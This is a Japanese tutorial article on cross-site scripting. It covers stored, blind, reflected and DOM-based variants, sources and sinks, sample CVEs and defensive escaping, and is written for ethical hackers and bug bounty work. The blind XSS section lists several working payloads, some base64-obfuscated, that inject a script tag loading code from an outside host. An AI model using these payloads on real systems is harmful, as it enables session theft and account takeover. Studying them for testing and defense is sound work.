はじめに
XSSはその深みと複雑さから非常に魅力的な脆弱性です。一見単純に思えますが、核心に迫ると驚くべき発見が広がります。反射型、格納型、DOM型(Blind XSSは格納型の一種)など多くの種類があり、また様々な文脈で発生するため、見落とされがちです。多くの講座や記事はHTMLインジェクションに絞りがちですが、それはXSSの一部に過ぎません。ここでWallarmが提唱するAPIセキュリティが重要となります。フロントエンドの保護は利用者のミスを防ぐだけで、APIやサーバーレベルでのフィルタ設定が不可欠です。
本稿では、各種状況下でのXSS攻撃の検出方法と、OWASPトップ10脆弱性に挙げられる、最も深刻かつ多様な問題のひとつであるこの攻撃を防ぐ方法について考察する。
A7:Cross-Site Scripting (XSS)
脅威アクター/攻撃経路 | セキュリティの脆弱性 | 影響 |
---|---|---|
自動のXSS脆弱性スキャナーで検出可能な場合もありますが、手動テストが推奨されます。ページに反映される、または保存後に取得されるパラメータは脅威となり得ます。 | XSSは依然としてウェブサイトやプロジェクトに広く存在する問題です。自動スキャナーのおかげで、各パラメータを個別に検査する手間が省かれました。 | 影響は、ほとんど実害のない単なる警告ポップアップ(稀に、警告以上の重大な攻撃に発展することもあります)から、深刻なアカウント乗っ取りに至るまで様々です。 |
まず、この脆弱性がなぜ発生するのかを理解する必要があります。開発者がユーザ入力を検証せずにページ上に表示すると、この問題が起こるのです。入力検証には複数の方法があり、その中でも最も安全ながら制限が厳しいのはホワイトリスト方式です。
ホワイトリスト方式は、ユーザの各入力をチェックし、許可リストに登録されたものだけを受け入れる方法です。しかし、許可する値をすべて定義する必要があるため、非常に手間がかかり、予期せぬ問題をもたらす可能性があります。
そのため、ブラックリスト方式が採用されることも多いですが、こちらは安全性がやや劣ります。ブラックリストに漏れがあれば、大規模な攻撃につながる危険性があるためです。
これまでXSSの種類について簡単に触れましたが、ここではそれぞれの違いを詳しく解説し、エシカルハッカーとして求められるテスト方法について説明する。各タイプごとのテスト目的の微妙な違いにも触れている。
格納型XSSは、プログラムの詳しい知識が求められます。すべての入力欄をテストする必要があり、大変な作業ですが欠かせない取り組みです。バグ報奨金では、簡単な攻撃は既にペンテスターに狙われているため、見落とされた入力欄に隠れた脆弱性が鍵となります。
従来通りの攻撃ベクトルを用いてテストを開始します。音楽を聴きながら、見つけた全ての入力欄に対して攻撃ベクトルを試みてください。ページ内の全リンク、さらには隠しリンクにも注意を払いましょう。多くの場合、JSファイル内にテスト用の呼び出しが記述されており、プロダクションでは使用されていなくても残っていることがあります。こうした場合、他のハンターが見逃したページでXSSを検証できるため、有利に働きます。
Blind XSS
Blind XSSも格納型XSSの一種です。攻撃ベクトルを挿入し、通常アクセスできない第三者のシステム(例:チケッティングシステムのバックエンドやチャットボット)経由で実行される場合に発生します。
この手法にはアウトオブバンドサーバが必要です。Wallarmでは https://xsshunter.com/ を利用できます。ここから自前のサーバを構築し、JSスクリプトにコールバックする攻撃ベクトルを作成してください。
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://js.thexssrat. com\';document.body.appendChild(a)')
もちろん、状況に応じた他のペイロードも存在しますが、その一覧も用意しています。
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://js.thexssrat. com\';document.body.appendChild(a)')
"><script src=https://js.thexssrat.com></script>
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>
"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://js.thexssrat.com";parent.document.body.appendChild(a);</script>">
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//js.thexssrat.com");a.send();</script>
<script>$.getScript("//js.thexssrat.com")</script>
可能であれば、全てをチャットボットやチケッティングシステムに投入し、上手くいくことを期待する。
反射型XSSは最も一般的な攻撃であり、多くのハンターやペンテスターが注目する手法です。アプリの詳細な知識は不要で、反射された値を探すだけで済むため、必ずしも実用的とは言えない面もあります。データベースへ保存される入力欄(格納型XSSに該当)を網羅的に検査したいという考えもあるでしょうが、ここでの手法にも一定の魅力があります。
反射型XSSでは、各パラメータにランダムな値を入力し、その値がレスポンス内のどこかに反映されるか確認します。JS、HTML、DOMなど、様々な箇所を検査する必要があります。
'"><img src=x><b>RAT+IS+HERE_GIMME
My attack vector
反射されたパラメータが見つかっただけではXSSが成立したとは言えません。単に値が反映されたに過ぎず、適切にフィルタや検証が行われている可能性があるため、その反映箇所に合った攻撃文字列を作成する必要があります。例えば、JSの文脈で入力値がシングルクォートで囲まれている場合、自らのシングルクォートを挿入する工夫が求められます(ただし、フィルタにかかることも多いため回避策を検討する必要があります)。その上で、データ窃取や関数実行など実害をもたらす攻撃を構築することが望ましいです。単なるポップアップは煩わしいだけで実害は少ないため、alert(document.domain)などのみの報告は控えてください。
DOM XSSとは何か。この疑問に答えるには、まずDOMが何であるかを理解する必要がある。ウェブページの構築過程に根ざす複雑な概念ゆえ、ここでは詳述を割愛する。ページのソースコードを見るだけではDOM全体は確認できず、JSがDOMをオブジェクトに変換して操作するため、正確な検証にはデベロッパーコンソールの使用が必須である。
DOM XSSの脆弱性は、いわゆる「DOMソース」から取得した攻撃可能な入力が、動的コード実行を許す「DOMシンク」へ流れ込む際に発生する。例として、eval() や document.write() などが挙げられる。
既存のソース型XSSと同様、DOM XSSにも反射型と格納型のバリエーションがあり、基本的なルールは共通である。GETやPOSTパラメータからの反映の場合は反射型、DBに保存された値の場合は格納型となる。
DOMシンクとは、ユーザが制御するデータがDOMに挿入される箇所を指す。主に3種類のDOMシンクがあり、それぞれ説明する。
someDOMElement.innerHTML
この例では、DOM内の要素のinnerHTMLを操作している。文書内の要素を対象としているため、これはドキュメントシンクに該当する。
なお、通常の「」などの攻撃は、単なる値の反映ではなくDOM挿入であるため機能しない点に留意すること。このため、テスト時には
<img src=x onerror=confirm()>
などで検証が行われる。
その他の例:
someDOMElement.innerHTML
someDOMElement.outerHTML
someDOMElement.insertAdjacentHTML
document.write()
document.writeln()
document.domain
この例では、ドメインに対して操作を行っている。Documentインターフェースのdomainプロパティは現在のドキュメントのオリジンのドメイン部分を取得・設定するため、位置を制御するLocationシンクとなる。Locationシンクでは、javascriptの疑似プロトコルを扱う必要がある。
疑似プロトコルの例: (http://blabla.com/test?url=javascirpt:alert())
その他のLocationシンクの例:
document.location
window.location.assign()
window.location.replace()
eval()
setTimeout()
setInterval()
Function()
Executionシンクでは、攻撃者が入力したデータによりJSコード自体が更新される可能性がある。
実際には、これらのシンクはほとんどが保護されており、悪意あるコードが入力されないような検査が組み込まれている。しかし、その検査に欠陥があれば回避可能である。
ソースとは、攻撃者が制御可能なデータを受け入れるJSプロパティを指す。例えば、location.searchはクエリ文字列から値を読み取るため、攻撃者が操作しやすい例である。最終的には、攻撃者が制御できる全てのプロパティが潜在的なソースとなる。これには、document.referrer(参照元URL)、document.cookie(ユーザのクッキー)、ウェブメッセージなどが含まれる。
一般的なソース:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
ここから議論する攻撃シナリオは、2021年8月に発見された最新のCVEから始まる。対象のCVEは「CVE-2021-38699 TastyIgniter 3.0.7 格納型XSS脆弱性」で、非常に簡単に見える攻撃ベクトル "><script> alert(1) </script> <script> alert(1) </script>" を用いるものです。この攻撃ベクトルを "/account, /reservation, /admin/dashboard, /admin/system_logs" の各エンドポイントに挿入すると、ポップアップが表示されます。一見簡単に思えますが、問題は脆弱なエンドポイントの発見にあります。
次の例は、偶然発見された有名検索エンジンduckduckgoにおける格納型XSS攻撃です。報告によると、duckduckgoが検索結果にXSS攻撃ベクトルをそのまま表示していたため攻撃が成立しました。攻撃は非常にシンプルで、ペイロード "><img src=x onerror=alert()>" のみで起動しました。報告者はduckduckgo経由でUrban DictionaryのXSS攻撃ベクトルを検索中にこの脆弱性を発見したとのことです。詳細な報告書はこちらをご参照ください。
XSSはウェブサイトの改ざんから管理者アカウントの乗っ取りにまで、甚大な被害をもたらす可能性があります。このような攻撃は企業の信用に大きなダメージを与え、場合によってはデータ損失や金銭的損失を引き起こすこともあります。
XSS攻撃がどのように発生し、どのような影響をもたらすかを理解した上で、以下の基本ガイドラインを守ることが攻撃から守る一助となります。ただし、完全な防御策は存在しません。
- https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#specifying_your_policy
- PHP: htmlspecialchars(input)
- Python: cgi.escape('悪意あるコード'), 参照: http://docs.python.org/library/cgi.html#cgi.escape
- aspx: https://docs.microsoft.com/en-us/aspnet/core/security/cross-site-scripting?view=aspnetcore-5.0
一見単純に見えるクロスサイトスクリプティングですが、その種類や発生する文脈には非常に複雑な要素が絡んでいます。攻撃経路が見つかった後でも、実際の影響は広範であり、成功させるには高度な技術が求められることが多い。
最新情報を購読